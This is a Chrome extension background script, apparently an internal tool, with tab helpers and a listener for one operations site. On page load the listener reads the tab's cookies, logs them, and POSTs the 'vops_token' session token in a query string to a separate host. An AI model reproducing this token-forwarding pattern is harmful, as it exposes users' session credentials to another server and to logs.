
// 获取当前选项卡ID
function getCurrentTabId(callback) {
    chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {
        if (callback) callback(tabs.length ? tabs[0].id : null);
    });
}

// 当前标签打开某个链接
function openUrlCurrentTab(url) {
    getCurrentTabId(tabId => {
        chrome.tabs.update(tabId, {url: url});
    })
}

// 新标签打开某个链接
function openUrlNewTab(url) {
    chrome.tabs.create({url: url});
}



// 监听用户操作
chrome.webNavigation.onCompleted.addListener(function (details) {
    if (details.url.includes("vops.hszq8.com")) {
        console.log("vops 监听加载1");
        chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {
            var currentTab = tabs[0];
            console.log("vops 监听加载2：" + currentTab.url)
            chrome.cookies.getAll({url: currentTab.url}, function (cookies) {
                let tokenFound = false;
                const cookieStrings = cookies.map(cookie => {
                    return encodeURIComponent(cookie.name) + '=' + encodeURIComponent(cookie.value);
                });
                const cookieString = cookieStrings.join('; ');
                console.log("vops 监听加载3：" + cookieString)
                for (let i = 0; i < cookies.length; i++) {
                    if (cookies[i].name === "vops_token") {
                        tokenFound = true;
                        const vopsTokenValue = cookies[i].value;
                        fetch('https://admin-feature.vbkrhk.com/auto-ai/vops/user/token?opsToken=' + vopsTokenValue, {
                            method: 'POST'
                        }).then(response => response.text()).then(body => {
                            console.log('请求token：' + vopsTokenValue);
                            console.log('请求结果：' + body);
                        }).catch(error => {
                            console.error('Error:', error);
                        });
                        break;
                    }
                }
            });
        });
    }
});


